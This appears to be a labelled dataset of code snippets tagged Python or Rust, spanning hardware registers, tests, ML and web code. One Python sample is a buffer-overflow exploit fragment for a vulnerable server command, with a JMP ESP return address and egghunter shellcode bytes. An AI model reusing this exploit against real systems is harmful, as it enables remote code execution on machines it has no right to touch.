text string | label_name string | labels int64 |
|---|---|---|
de Datas e Horas, análise estatística, etc.
Arquivos json
→ JSON (JavaScript Object Notation): formato de dados leve e legível por humanos que é comumente usado para armazenar e trocar dados estruturados.
→ Baseados em um subconjunto da linguagem JavaScript, mas são independentes de linguagem de programação
→ Um arq... | Python | 1 |
print(f" 미리보기 업데이트 완료")
print(f" 프린터 출력 준비 완료")
messagebox.showinfo("적용 완료", "DPI 설정이 실시간으로 적용되었습니다!")
except Exception as e:
print(f"❌ DPI 설정 실시간 적용 실패: {e}")
messagebox.showerror("적용 실패", f"DPI 설정 적용 중 오류가 발생했습니다:\n{e}")
def ... | Python | 1 |
Field::uniform(rng);
let mut challenge_2 = P::Field::uniform(rng);
let challenge = &[challenge_1, challenge_2];
let send_message = InsecureMsgSend::<P>::new(challenge);
bytes::serialize(&mut *writer, &send_message)?;
let (label_shares, rho_1, rho_2) = CDSProt... | Rust | 0 |
ified symbol must be added to
this database using the Add method or else an error will be raised.
Args:
symbol: The fully qualified symbol name.
Returns:
The file descriptor proto containing the symbol.
Raises:
KeyError if no file contains the specified symbol.
"""
return s... | Python | 1 |
, PCWSTR, PSID, PSID_AND_ATTRIBUTES, PTOKEN_GROUPS, PVOID, ACCESS_MASK, PACCESS_MASK, PACL, POBJECT_TYPE_LIST, PACE_HEADER, PSECURITY_DESCRIPTOR};
use winapi::shared::guiddef::GUID;
use winapi::shared::minwindef::{BOOL, PBOOL, DWORD, PDWORD, ULONG, USHORT};
use winapi::shared::basetsd::{ULONG64, PULONG64, PLONG64};
... | Rust | 0 |
self.w.bits |= ((value as u8) & 1) << 6;
self.w
}
}
#[doc = r"Value of the field"]
pub struct USB_DEVCTL_DEVR {
bits: bool,
}
impl USB_DEVCTL_DEVR {
#[doc = r"Value of the field as raw bits"]
#[inline(always)]
pub fn bit(&self) -> bool {
self.bits
}
#[doc = r"Returns `... | Rust | 0 |
"""
Health check tests for the agent-os-docker API.
"""
from . import get_api_url
class TestHealthEndpoints:
"""Test health and status endpoints."""
def test_health_endpoint(self, api_client):
"""Test the health endpoint returns 200."""
response = api_client.get(get_api_url("/health"))
... | Python | 1 |
<reponame>AndreasOM/omt<filename>src/atlas/mod.rs<gh_stars>0
mod atlas;
pub use atlas::Atlas as Atlas;
mod atlaspreviewer;
pub use atlaspreviewer::AtlasPreviewer as AtlasPreviewer;
mod atlasfitter;
pub use atlasfitter::AtlasFitter as AtlasFitter;
<filename>etc/cluster/src/cell.rs
//! Cell-based cluster analysis
use ... | Rust | 0 |
::new(10.0, 10.0, 10.0),
al,
));
world.add(box1.clone());
let box2 = RotateY::new(box1, 45.0);
//let box3 = RotateY::new(box1.clone(),60.0);
//world.add(Arc::new(box3));
world.add(Arc::new(box2));
background = Vec3::new(0.7, 0.8, 1.0);
}
let ca... | Rust | 0 |
| 1,))?
.to_bits(),
CANON_32BIT_NAN
);
assert_eq!(
u64_to_f64
.call(&mut store, (CANON_64BIT_NAN | 1,))?
.to_bits(),
CANON_64BIT_NAN
);
assert_eq!(
f32_to_u32.call(&mut store, (f32::from_bits(CANON_32BIT_NAN | 1),))?,
CANON_32... | Rust | 0 |
left.to_str().unwrap(),
right.to_str().unwrap(),
"Please create a map inside src, e.g. src/GEN_ENTITIES",
);
}
#[cfg(test)]
mod test {
use super::*;
use crate::transformer::DefaultTransformer;
use std::env;
#[should_panic]
#[test]
fn test_illegal_base_dir0() {
test_... | Rust | 0 |
"""
This module provides the API for ``requests_toolbelt.threaded``.
The module provides a clean and simple API for making requests via a thread
pool. The thread pool will use sessions for increased performance.
A simple use-case is:
.. code-block:: python
from requests_toolbelt import threaded
urls_to_get... | Python | 1 |
{
self.amount
}
fn get_fee(&self) -> Option<u64> {
None
}
fn get_nonce(&self) -> Option<u32> {
None
}
fn get_signature(&self) -> Option<RecoverableSignature> {
None
}
fn get_recovery(&self) -> Option<RecoveryId> {
None
}
}
impl GenesisTx {
... | Rust | 0 |
]),
)?)?;
let fill_2b_sound_id = audio_manager.add_sound(Sound::from_file(
base_assets_dir.join("2 beat fill.ogg"),
PlayableSettings::default().groups([group_id]),
)?)?;
let fill_3b_sound_id = audio_manager.add_sound(Sound::from_file(
base_assets_dir.join("3 beat fill.ogg"),
PlayableSettings::defaul... | Rust | 0 |
import sys
import os
import io
import sys
import platform
# 确保标准输出编码为UTF-8
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8')
# 在Windows上启用长路径支持
if platform.system() == "Windows":
# 尝试设置Windows注册表以启用长路径支持（需要管理员权限）
try:
... | Python | 1 |
, 998244353))
}
<gh_stars>1000+
pub mod channel;
pub mod job;
#![feature(box_syntax)]
// we have to use the old process module, because the new one doesn't support
// inheritfd, which is needed for process piping
#![allow(deprecated)]
#![feature(path_relative_from)]
#![feature(unsafe_destructor)]
#![feature(unboxed_clo... | Rust | 0 |
//! implementation from implementing both sets of methods, and then
//! "flipping" between the two at runtime. Nonetheless, it serves as a good
//! guardrail.
//! - **Enforce dead-code-elimination _without_ `cargo` feature flags**
//! - This is a really awesome trick: by wrapping code in a `if
//! ... | Rust | 0 |
(?x)
\#
(?P<id>[0-9]+)
\s+@\s+
(?P<x>[0-9]+),(?P<y>[0-9]+):
\s+
(?P<width>[0-9]+)x(?P<height>[0-9]+)
"
)
.unwrap();
}
let caps = match RE.captures(s) {
None =>... | Rust | 0 |
const NUM_FIXED: usize = 12;
let accounts = array_ref![accounts, 0, NUM_FIXED];
let [
mango_group_ai, // write
signer_ai, // read
admin_ai, // read
quote_mint_ai, // read
quote_vault_ai, // read
quo... | Rust | 0 |
errors::Level::Fatal => Level::Fatal,
errors::Level::PhaseFatal => Level::Fatal,
errors::Level::Error => Level::Error,
errors::Level::Warning => Level::Warning,
errors::Level::Note => Level::Note,
errors::Level::Help => Level::In... | Rust | 0 |
from enum import Enum
class MethodAttributes(str, Enum):
PRIVATESCOPE = "PrivateScope"
PRIVATE = "Private"
FAMANDASSEM = "FamANDAssem"
ASSEMBLY = "Assembly"
FAMILY = "Family"
FAMORASSEM = "FamORAssem"
PUBLIC = "Public"
MEMBERACCESSMASK = "MemberAccessMask"
UNMANAGEDEXPORT = "Unman... | Python | 1 |
import utils
# import the random module
import random
print("Starting the Rock Paper Scissors game!")
player_name = input("Please enter your name: ") # Takes Input from the user
print("Pick a hand: (0: Rock, 1: Paper, 2: Scissors)")
while True:
try:
player_hand = int(input("Please enter a number (0-2):... | Python | 1 |
=> {
write!(out, " store (")?;
emit_value(address, out)?;
write!(out, " + {}) ", offset)?;
emit_value(value, out)?;
writeln!(out)
}
ir::Instruction::Drop(reg) => writeln!(out, " drop %{}", reg.0),
ir::Instruction::Init(reg) => {
... | Rust | 0 |
line, pos = self.matched_lineno, self.matched_charpos
text, end = self.parse_until_text(False, r"%>")
# the trailing newline helps
# compiler.parse() not complain about indentation
text = adjust_whitespace(text) + "\n"
self.append_node(
... | Python | 1 |
#[doc = "Bit 4"]
#[inline(always)]
pub fn clk80_oen(&mut self) -> CLK80_OEN_W {
CLK80_OEN_W { w: self }
}
#[doc = "Bit 3"]
#[inline(always)]
pub fn clk_bb_oen(&mut self) -> CLK_BB_OEN_W {
CLK_BB_OEN_W { w: self }
}
#[doc = "Bit 2"]
#[inline(always)]
pub fn clk44_o... | Rust | 0 |
import torch
# BKINet consists of two components:
# 1) A pre-trained semantic segmentation model
# 2) A pre-trained ConvBKI layer
# This module is intended for ROS integration
class BKINet(torch.nn.Module):
def __init__(self, grid_size, min_bound, max_bound, weights, filter_size, segmentation_net,
... | Python | 1 |
;
}
/// Finishes the layout building process and outputs the result `Layout`.
pub fn build(self) -> Layout {
Layout { vars: self.vars }
}
}
<gh_stars>1-10
use crate::io::{Interest, PollEvented};
use crate::net::tcp::TcpStream;
use crate::net::{to_socket_addrs, ToSocketAddrs};
use std::convert:... | Rust | 0 |
<LineBreak> {
let (b_index, c) = self.chars.next()?;
let c_len = c.len_utf8();
while self.current_break.is_some() {
if self.current_break.as_ref().unwrap().0 < b_index + c_len {
self.current_break = self.breaks.next();
} else {
break;
... | Rust | 0 |
id = id;
self
}
pub fn with_sum_ratio(mut self, sum_ratio: f64) -> Self {
self.coordinator_state.round_params.sum = sum_ratio;
self
}
pub fn with_update_ratio(mut self, update_ratio: f64) -> Self {
self.coordinator_state.round_params.update = update_ratio;
self
... | Rust | 0 |
;
assert_eq!((&mut s[..2]).as_mut_ascii_str(), a);
assert_eq!((&mut b[..2]).as_mut_ascii_str(), a);
}
#[test]
fn default() {
let default: &'static AsciiStr = Default::default();
assert!(default.is_empty());
}
#[test]
fn as_str() {
let b = b"( ;";
... | Rust | 0 |
le_name should be str")
address = self._api.find_base_address(module_name)
if isinstance(address, str):
return int(address, 16)
return 0
def get_proc_address(self, module_name: str, proc_name: str) -> int:
""" Get module exported function address in the injected process.... | Python | 1 |
(status_code=400, detail=f'Invalid button passed, button: {button}')
await console.send_gamepad_button(btn)
return schemas.GeneralResponse(success=True)
@router.get('/{liveid}/stump/headend', response_model=stump_schemas.HeadendInfo)
async def stump_headend_info(
console: ConsoleWrap = Depends(console_co... | Python | 1 |
ProductCategory(BaseModel):
"""领星本地产品分类信息"""
# 领星本地产品分类ID [原字段 'cid']
category_id: int = Field(validation_alias="cid")
# 分类名称 [原字段 'title']
category_name: str = Field(validation_alias="title")
# 分类编码
category_code: str
# 父分类ID [原字段 'parent_cid']
parent_category_id: int = Field(valid... | Python | 1 |
self._DiDataSourceTke._deserialize(params.get("DiDataSourceTke"))
if params.get("DiDataSinkServerless") is not None:
self._DiDataSinkServerless = DiDataSinkServerless()
self._DiDataSinkServerless._deserialize(params.get("DiDataSinkServerless"))
self._DiDataSourceType ... | Python | 1 |
impl Constraint {
/// # Safety
/// Owner's own the pointer they wrap, using the pointer after dropping the Owner,
/// or creating multiple Owners from the same pointer will cause UB. Use `into_ptr` to
/// retrieve the pointer and consume the Owner without dropping the pointee.
#[allow(dead_code)]
... | Rust | 0 |
InsufficientPermissions,
FileNotFound,
NonSharableFile,
InvalidFileExpirationDate,
}
impl HandlerResponse for Error {
fn status_code(&self) -> StatusCode {
match self {
Error::InvalidProjectQuery => StatusCode::BAD_REQUEST,
Error::InsufficientPermissions => StatusCod... | Rust | 0 |
s[i].clone()
scores[i], scores[maxpos.item() + i + 1] = scores[maxpos.item() + i + 1].clone(), scores[i].clone()
areas[i], areas[maxpos + i + 1] = areas[maxpos + i + 1].clone(), areas[i].clone()
# IoU calculate
yy1 = np.maximum(dets[i, 0].to("cpu").numpy(), dets[pos:, 0]... | Python | 1 |
a specified account.
Account(AccountId),
/// Receive no reward.
None,
}
/// Relaychain staking.bond call arguments
#[derive(Clone, Encode, Decode, RuntimeDebug)]
pub struct StakingBondCall<T: Config> {
/// Controller account
pub controller: <T::Lookup as StaticLookup>::Source,
/// Bond amount
... | Rust | 0 |
< 0.0 {
sum - 1
} else {
0
}
});
assert!(
result > -tolerance && result < tolerance,
"Balance is {} for seed {}",
result,
seed
);
}
}
}... | Rust | 0 |
128
0x22CA_00D8,// EVEX_Vpsubusb_ymm_k1z_ymm_ymmm256
0x234A_00D8,// EVEX_Vpsubusb_zmm_k1z_zmm_zmmm512
0x2002_00D9,// Psubusw_mm_mmm64
0x200A_00D9,// Psubusw_xmm_xmmm128
0x224A_00D9,// VEX_Vpsubusw_xmm_xmm_xmmm128
0x22CA_00D9,// VEX_Vpsubusw_ymm_ymm_ymmm256
0x224A_00D9,// EVEX_Vpsubusw_xmm_k1z_xmm_xmmm128
0x22CA... | Rust | 0 |
00+02:00"},
{"bookingLimitDatetime": "2025-07-03T12:59:00+02:00"},
],
{
"dates.0.bookingLimitDatetime": [
"the stock will not be published before its `bookingLimitDatetime`. Either change `bookingLimitDatetime` to a later da... | Python | 1 |
import numpy as np
import matplotlib.pyplot as plt
import matplotlib as mpl
from sklearn.metrics import mean_absolute_error
from matplotlib.ticker import MaxNLocator
# 加载数据
data = np.load("force.npy")
# 设置matplotlib全局字体
mpl.rcParams['font.family'] = 'Arial'
# 创建图形和网格布局
fig = plt.figure(figsize=(5, 4))
gs = fig.add_... | Python | 1 |
# Copyright (C) 2018-2023 The NeoVintageous Team (NeoVintageous).
#
# This file is part of NeoVintageous.
#
# NeoVintageous is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
#... | Python | 1 |
-> Result<(), RuntimeError> {
if let Some(resolver) = &self.func_resolver {
let mut args: Vec<RuntimeValue> = vec![];
for _ in 0..func.args.len() {
args.push(pop(vstack)?);
}
let result = resolver.invoke(&func.module_name, &func.field_name, &args)?... | Rust | 0 |
/ Cmovnp_r32_rm32
0x0006_4031, 0x3800_0000,// Cmovnp_r64_rm64
0x0005_C031, 0x3800_0000,// Cmovl_r16_rm16
0x0005_C032, 0x3800_0000,// Cmovl_r32_rm32
0x0005_C031, 0x3800_0000,// Cmovl_r64_rm64
0x0005_C031, 0x3800_0000,// Cmovge_r16_rm16
0x0005_C032, 0x3800_0000,// Cmovge_r32_rm32
0x0005_C031, 0x3800_0000,// Cmovge... | Rust | 0 |
# Copyright 2024 Carnegie Mellon University.
# Released under a MIT (SEI)-style license, please see LICENSE.md in the project
# root or contact permission@sei.cmu.edu for full terms.
import matplotlib.pyplot as plt
import sys
def plot_letter_with_points(letter_index, x_coords, y_coords, offset, ax, file):
"""Pl... | Python | 1 |
const BLPAPI_EVENTTYPE_TOPIC_STATUS: u32 = 13;
pub const BLPAPI_EVENTTYPE_TOKEN_STATUS: u32 = 14;
pub const BLPAPI_EVENTTYPE_REQUEST: u32 = 15;
pub const BLPAPI_ELEMENT_INDEX_END: u32 = 4294967295;
pub const BLPAPI_STATUS_ACTIVE: u32 = 0;
pub const BLPAPI_STATUS_DEPRECATED: u32 = 1;
pub const BLPAPI_STATUS_INACTIVE: u3... | Rust | 0 |
tput.as_bytes()).unwrap();
}
mod endpoints;
mod main;
mod models;
pub use main::main;
#![deny(rust_2018_idioms, unused, unused_crate_dependencies, unused_import_braces, unused_qualifications, warnings)]
#![forbid(unsafe_code)]
use {
std::{
fmt,
fs::File,
io::{
self,
... | Rust | 0 |
","example","science"], target = "thehat"
Output: 3
Explanation:
We can use 2 "with" stickers, and 1 "example" sticker.
After cutting and rearrange the letters of those stickers, we can form the target "thehat".
Also, this is the minimum number of stickers necessary to form the target string.
Example 2:
Input: sticker... | Python | 1 |
f.encode_rdlength_and_rdata_at(&mut w, r.rdata())?;
*cursor = w;
Ok(())
}
}
impl<'a, Q: marker::QueryOrResponse> WireEncoder<'a, Q, marker::QuestionSection> {
/// Transitions the encoder into a state for encoding answers.
pub fn finalize_questions(self) -> WireEncoder<'a, Q, marker::AnswerS... | Rust | 0 |
# Copyright 2020 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... | Python | 1 |
onnection.return_value = mock_conn
hook = AzureDataFactoryHookAsync(AZURE_DATA_FACTORY_CONN_ID)
with pytest.raises(ValueError):
await hook.get_async_conn()
def test_get_field_prefixed_extras(self):
"""Test get_field function for retrieving prefixed extra fields"""
mock_c... | Python | 1 |
();
let dna_str = std::str::from_utf8(dna_ascii).unwrap();
let (simd_bytes, valid) = unsafe { convert_bases(dna_ascii) };
let packed = unsafe { pack_32_bases(simd_bytes) };
let kmer = crate::kmer::Kmer32::from_u64(packed);
println!("orig: {} \nresult: {:?}",... | Rust | 0 |
BranchId::Sprout => (1..=2u32).prop_map(TxVersion::Sprout).boxed(),
BranchId::Overwinter => Just(TxVersion::Overwinter).boxed(),
#[cfg(feature = "zfuture")]
BranchId::ZFuture => Just(TxVersion::ZFuture).boxed(),
_otherwise => Just(TxVersion::Sapling).boxed(),
... | Rust | 0 |
0080;
/// Bit 8: Following the last component are instructions for the composite character.
const WE_HAVE_INSTRUCTIONS = 0x0100;
/// Bit 9: If set, this forces the aw and lsb (and rsb) for the composite to be equal to
/// those from this original glyph. This works for hinted and unhinted... | Rust | 0 |
RENT_REQUESTS": 1,
"TELNETCONSOLE_ENABLED": False,
}})
process.crawl(SimpleSpider)
process.start()
"""
# Write script to temporary file
with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as script_file:
script_file.write(scrapy_script)
script_path = scri... | Python | 1 |
use uuid::Uuid;
use warp::{path, Filter, Rejection, Reply};
/// The user api.
///
/// # Arguments
/// state - State object reference required for accessing db connections, auth keys,
/// and other stateful constructs.
pub fn user_api(state: &State) -> impl Filter<Extract = (impl Reply,), Error = Rejection> + Clone {
... | Rust | 0 |
player]有吸烟的习惯.', "[player] has habit of smoking.")
elif data1 is False:
_ap('[player]不吸烟.', "[player] doesn't smoke.")
data1 = _rf('_mas_pm_do_smoke_quit')
if data1:
_ap('[player]希望戒烟.', "[player] wants to give up smoking.")
data1 = _rf('_mas_pm_... | Python | 1 |
] = f'http://{proxiesip}:{proxiesport}'
# proxies['https'] = f'http://{proxiesip}:{proxiesport}'
proxies['http://'] = f'http://{proxiesip}:{proxiesport}'
proxies['https://'] = f'http://{proxiesip}:{proxiesport}'
#proxies['socks5'] = f'socks5://{proxiesip}:{proxiesport}'
tasks.a... | Python | 1 |
. Inno DB에 사용자-모델 매핑 저장
try:
model_crud.create_model_mapping(
db=db,
surro_model_id=created_model.id,
member_id=current_user.member_id,
model_name=created_model.name
)
logger.info(f"Created model mapping: surro_i... | Python | 1 |
lid for this platform",
self.0 .0, self.0 .1
)
}
}
impl std::error::Error for InvalidSizeError {}
pub(crate) struct ErrorChainPrinter<E>(E);
impl<E: std::error::Error> Display for ErrorChainPrinter<E> {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f,... | Rust | 0 |
#!/usr/bin/env python3
# Copyright (C) 2024 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
import argparse
import openvino_genai
import librosa
def read_wav(filepath):
raw_speech, samplerate = librosa.load(filepath, sr=16000)
return raw_speech.tolist()
def main():
parser = argparse.ArgumentPar... | Python | 1 |
N, Cardinal::S, Cardinal::W, Cardinal::E] {
let (dx, dy) = direction.get_delta_xy();
if map.is_blocked(movable_pos.x + dx, movable_pos.y + dy) {
// The direction is blocked, no point trying to move it.
continue;
... | Rust | 0 |
.get("event")
.ok_or_else(|| ToPersistedError::NoKey("event"))?;
let event: Event = serde_json::from_slice(&event).map_err(ToPersistedError::DecodeJSON)?;
let version: u32 = entry
.get("version")
.ok_or_else(|| ToPersistedError::NoKey("version"))?;
let seque... | Rust | 0 |
closure_map = {
'UBERON:0001434PHENOTYPE': 'Skeletal system',
'UBERON:0002101PHENOTYPE': 'Limbs',
'UBERON:0001016PHENOTYPE': 'Nervous system',
'UBERON:0007811PHENOTYPE': 'Head or neck',
'MP:0005376': 'Metabolism/homeostasis',
'UBERON:0004535PHENOTYPE': 'Cardiovascular system',
'UBERON:00024... | Python | 1 |
::TEST_METRIC_1");
let test_metric_2 = metrics::metrics()
.into_iter()
.find(|x| x.name() == "test-metric");
assert!(test_metric_1.is_some());
assert!(test_metric_2.is_some());
}
#[test]
fn metric_increment() {
TEST_METRIC_1.add(4);
TEST_METRIC_2.add(3);
let test_metric_1 = metrics::metrics()
... | Rust | 0 |
a tag.
*/
#[inline]
unsafe extern "C" fn m_tag_free(mut t: *mut m_tag) {
Some((*t).m_tag_free.expect("non-null function pointer")).expect("non-null function pointer")(
t,
);
}
/*
* Set up the contents of a tag. Note that this does not fill in the free
* method; the caller is expected to do that.
*... | Rust | 0 |
return {"time_ms": time_ms, "voltage": voltage, "current": current}
def extract_channel_for_plot(
self, dataset: ElectrophysiologyDataset, sweep_index: str, channel_type: str
) -> Tuple[np.ndarray, np.ndarray, int]:
"""
Extract data for a single channel (voltage or cur... | Python | 1 |
def tag_cover(self, file_path: Path):
img = Image.open(file_path)
# if larger than 512KiB, resize
if file_path.stat().st_size > 512 * 1024:
if file_path in COVER_CACHE:
img = COVER_CACHE[file_path]
else:
lg.debug(f'create thumbnail for imag... | Python | 1 |
e frequency from the frequency
let cfreq: Vec<u64> = freq
.iter()
.scan(0u64, |acc, &num| {
*acc += num;
Some(*acc)
})
.collect();
// get the guess about the max distance point
let mut prev_max = 0;
let mut max_idx = get_max_distance_index(&cfreq[.... | Rust | 0 |
Config> = StorageValue<_, emo_Bases>;
#[pallet::storage]
pub type DeckFixedEmoBaseIds<T: Config> = StorageValue<_, Vec<u16>>;
#[pallet::storage]
pub type DeckBuiltEmoBaseIds<T: Config> = StorageValue<_, Vec<u16>>;
#[pallet::storage]
pub type MatchmakingGhosts<T: Config> =
StorageMap<_, ... | Rust | 0 |
yper);
let led_b = gpiob
.pb7
.into_push_pull_output(&mut gpiob.moder, &mut gpiob.otyper);
let usart3_tx = gpiod.pd8.into_af7(&mut gpiod.moder, &mut gpiod.afrh);
let usart3_rx = gpiod.pd9.into_af7(&mut gpiod.moder, &mut gpiod.afrh);
let can1_tx = gpiod.pd1.into_... | Rust | 0 |
MIT>]]
現在地点のサブルーチンを抜けるまで実行する
s [<BASIC_STEP_COUNT> [<COMET2_STEP_LIMIT>]]
step [<BASIC_STEP_COUNT> [<COMET2_STEP_LIMIT>]]
指定ステップ数だけ実行する。BASIC_STEP_COUNT省略時は1ステップだけ実行する
"#
)?;
return Ok(());
}
};
let description = match cmd.as_str() {
... | Rust | 0 |
secret_key` to use sessions."
)
app.add_middleware(SessionMiddleware, **sessions)
@_builtin
def use_staticfiles(app: "App"):
"""Enable static files serving with WhiteNoise.
Settings:
- `STATIC_DIR` (str):
the name of the directory containing static files, relative to
the appl... | Python | 1 |
fbuzz/src/hb-common.cc");
build.file("harfbuzz/src/hb-face.cc");
build.file("harfbuzz/src/hb-font.cc");
build.file("harfbuzz/src/hb-map.cc");
build.file("harfbuzz/src/hb-ot-face.cc");
build.file("harfbuzz/src/hb-ot-font.cc");
build.file("harfbuzz/src/hb-ot-layout.cc");
build.file("harfbuzz/s... | Rust | 0 |
ub const BORDER_COLOR_FLOAT_OPAQUE_BLACK: u32 = 2;
pub const BORDER_COLOR_INT_OPAQUE_BLACK: u32 = 3;
pub const BORDER_COLOR_FLOAT_OPAQUE_WHITE: u32 = 4;
pub const BORDER_COLOR_INT_OPAQUE_WHITE: u32 = 5;
// Vulkan enum PipelineBindPoint
pub type PipelineBindPoint = u32;
pub const PIPELINE_BIND_POINT_GRAPHICS: u32 = 0;
... | Rust | 0 |
The Algebra Developers.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writi... | Rust | 0 |
disabled(&self) -> bool {
*self == RXFRAMEENDR::DISABLED
}
#[doc = "Checks if the value of the field is `ENABLED`"]
#[inline]
pub fn is_enabled(&self) -> bool {
*self == RXFRAMEENDR::ENABLED
}
}
#[doc = "Possible values of the field `ERROR`"]
#[derive(Clone, Copy, Debug, PartialEq)]
... | Rust | 0 |
sos=model.sos,
eos=model.eos,
token_list=train_args.char_list,
pre_beam_score_key=None if args.ctc_weight == 1.0 else "full",
)
# TODO(karita): make all scorers batchfied
if args.batchsize == 1:
non_batch = [
k
for k, v in beam_search.full_scorers.ite... | Python | 1 |
params.pipetteId,
fluid=AspiratedFluid(kind=FluidKind.AIR, volume=volume),
)
return SuccessData(
public=AirGapInPlaceResult(volume=volume),
state_update=state_update,
)
class AirGapInPlace(
BaseCommand[AirGapInPlaceParams, AirGapI... | Python | 1 |
> for f64 {
fn from(ts: Timespec) -> f64 {
ts.0.tv_sec as f64 + ts.0.tv_nsec as f64 * 1e-9
}
}
impl Sub for Timespec {
type Output = Self;
fn sub(self, rhs: Timespec) -> Self::Output {
let mut tv_sec = self.0.tv_sec - rhs.0.tv_sec;
let mut tv_nsec = self.0.tv_nsec - rhs.0.tv_ns... | Rust | 0 |
fields see [dfllsync](dfllsync) module"]
pub type DFLLSYNC = crate::Reg<u8, _DFLLSYNC>;
#[allow(missing_docs)]
#[doc(hidden)]
pub struct _DFLLSYNC;
#[doc = "`read()` method returns [dfllsync::R](dfllsync::R) reader structure"]
impl crate::Readable for DFLLSYNC {}
#[doc = "DFLL48M Synchronization"]
pub mod dfllsync;
#[... | Rust | 0 |
2,2,2,2,2,2,2,2,2)", queryTimes=1)
tdSql.execute("insert into t0 values(now, 2,2,2,2,2,2,2,2,2)", queryTimes=1)
tdSql.execute("insert into t0 values(now, 3,3,3,3,3,3,3,3,3)", queryTimes=1)
tdSql.execute("insert into t0 values(now, 3,NULL,3,3,3,3,3,3,3)", queryTimes=1)
tdSql.execute("inse... | Python | 1 |
alization functions to find it.
//! NetworkController::<Message>::create_active();
//!
//! // We can now create the network of nodes, using the `testing::Network` and insert three nodes.
//! // Each node is given some data to send.
//! let mut rng = OsRng;
//! let mut net = Network::<Reactor>::new();
//! let (id1, n1) ... | Rust | 0 |
representation of the internal state of the pn_data_t object that includes its navigational state to stdout for debugging purposes.
pub fn pn_data_dump(data: *mut pn_data_t);
/// Writes the contents of a data object to the given buffer as an AMQP data stream.
pub fn pn_data_encode(data: *mut pn_data_t, bytes: ... | Rust | 0 |
Disable ALERTs in [`AlertEnable`] before changing the value to avoid false triggers. Each channel
/// has its own limit and addressable register.
pub struct OpLimitn {
#[packed_field(bits = "23:0", endian = "msb")]
pub limit: i32,
}
#[derive(PackedStruct, Debug, PartialEq, Register)]
#[packed_struct(size_byte... | Rust | 0 |
t_protocol(&self, o_prot: &mut dyn TOutputProtocol) -> thrift::Result<()> {
let struct_ident = TStructIdentifier::new("add_ip_args");
o_prot.write_struct_begin(&struct_ident)?;
o_prot.write_field_begin(&TFieldIdentifier::new("ifname", TType::String, 1))?;
o_prot.write_string(&self.ifname)?;
o_prot.w... | Rust | 0 |
import socket
import struct
import os
import sys
vuln_command = "KSTET "
crash = 94
offset = 70
eip = struct.pack("<I", 0x62501205) # JMP ESP
# 1st Stage (Short JMP)
short_jmp = "\x83\xC0\x06\xFF\xE0"
# 2nd Stage (Egghunter)
egghunter = ""
egghunter += "\x90\x66\x81\xca\xff\x0f\x42\x52"
egghunter += "\x6a\x02\x5... | Python | 1 |
(test)]
fn active_log_size(&self) -> usize {
let manager = self.log_manager.read().unwrap();
manager.active_log_size
}
#[cfg(test)]
fn active_log_capacity(&self) -> usize {
let manager = self.log_manager.read().unwrap();
manager.active_log_capacity
}
pub fn acti... | Rust | 0 |
: UErrorCode = 3;
pub const U_MISSING_RESOURCE_ERROR: UErrorCode = 2;
pub const U_ILLEGAL_ARGUMENT_ERROR: UErrorCode = 1;
pub const U_ZERO_ERROR: UErrorCode = 0;
pub const U_ERROR_WARNING_LIMIT: UErrorCode = -119;
pub const U_PLUGIN_CHANGED_LEVEL_WARNING: UErrorCode = -120;
pub const U_DIFFERENT_UCA_VERSION: UErr... | Rust | 0 |
string());
let bounding_cube = node_id.find_bounding_cube(&Cube::bounding(&octree_meta.bounding_box));
let position_encoding = PositionEncoding::new(&bounding_cube, octree_meta.resolution);
let min = bounding_cube.min();
RawNodeWriter::new(
path,
Encoding::ScaledT... | Rust | 0 |
el(opt.cfg).to(device)
# Options
if opt.line_profile: # profile layer by layer
model(im, profile=True)
elif opt.profile: # profile forward-backward
results = profile(input=im, ops=[model], n=3)
elif opt.test: # test all models
for cfg in Path(ROOT / 'models').rglob('yolo*.y... | Python | 1 |
SK0::NAKM;
pub use super::HCINTMSK0::NYET;
pub use super::HCINTMSK0::STALLM;
pub use super::HCINTMSK0::TXERRM;
pub use super::HCINTMSK0::XFRCM;
}
/// OTG_FS host channel-0 transfer size register
pub mod HCTSIZ0 {
/// Transfer size
pub mod XFRSIZ {
/// Offset (0 bits)
pub const ... | Rust | 0 |
ok_or_else(|| ApiClientError::RpcClient("key-value pair has bad value".to_owned()))?
.trim_start_matches("0x"),
)?;
Ok((StorageKey(key), StorageKey(value)))
}
<filename>policy-controller/k8s/index/src/server_authorization.rs
use crate::ClusterInfo;
use anyhow::Result;
use linkerd_policy_controller_c... | Rust | 0 |
<()> {
io::Write::flush(&mut self.term)
}
}
impl io::Read for Term {
fn read(&mut self, buf: &mut [u8]) -> io::Result<usize> {
io::Read::read(&mut self.term, buf)
}
}
impl ops::Deref for Term {
type Target = console::Term;
fn deref(&self) -> &Self::Target {
&self.term
... | Rust | 0 |
# ---------------------------------------------------------
# Copyright (c) 2015, Saurabh Gupta
#
# Licensed under The MIT License [see LICENSE for details]
# ---------------------------------------------------------
import caffe, yaml
def net_surgery(net, json_file_or_dict):
# Load the JSON file
if isinst... | Python | 1 |
), Ok(13_000.0))
//! // ^ ^ ^ 1. 'crazy' is right associative (3 crazy 4) = 5 is first;
//! // | | 2. next this will be evaluated 12 crazy 5;
//! // | 3. finally, $$$ is evaluated.
//! ```
pub us... | Rust | 0 |
# R. Heeres 2008
# HR@KIT 2017
import qkit
import os
import logging
if qkit.cfg.get('startdir',False):
os.chdir(qkit.cfg.get('startdir'))
if qkit.cfg.get('startscript',False):
_scripts = qkit.cfg.get('startscript')
if type(_scripts) not in (list, tuple):
_scripts = [_scripts, ]
for _s in _scr... | Python | 1 |
"""
Boolean geometry transform.
"""
from __future__ import absolute_import
#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module.
import __init__
from fabmetheus_utilities.geometry.creation import solid
from fabmet... | Python | 1 |
, ["pn_vrouter_name", "pn_ip", "pn_index"]]
),
)
# Accessing the arguments
cliswitch = module.params['pn_cliswitch']
state = module.params['state']
ip = module.params['pn_ip']
index = module.params['pn_index']
